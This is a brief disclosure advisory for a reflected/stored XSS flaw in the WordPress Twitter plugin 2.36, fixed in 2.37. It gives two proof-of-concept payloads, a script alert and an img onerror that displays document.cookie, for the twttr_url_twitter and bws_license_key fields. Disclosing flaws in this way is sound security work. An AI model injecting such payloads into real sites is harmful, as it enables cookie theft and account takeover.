WordPress Twitter 2.37 Cross Site Scripting Vulnerability

WordPress Twitter 2.37 Cross Site Scripting Vulnerability

Effected Version : 2.36 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
In the following fields put the payload as below
 
http://localhost/wp-admin/admin.php?page=twitter.php
twttr_url_twitter = ‘><script>alert(1)</script>
 
http://localhost/wp-admin/admin.php?page=twitter.php&action=go_pro
bws_license_key = “><img src=x onerror=prompt(document.cookie);>
 
Vulnerable Parameter : twttr_url_twitter, bws_license_key
 
Type of XSS : Reflected / Stored
 
Fixed in : 2.37

#  0day.today [2018-03-09]  #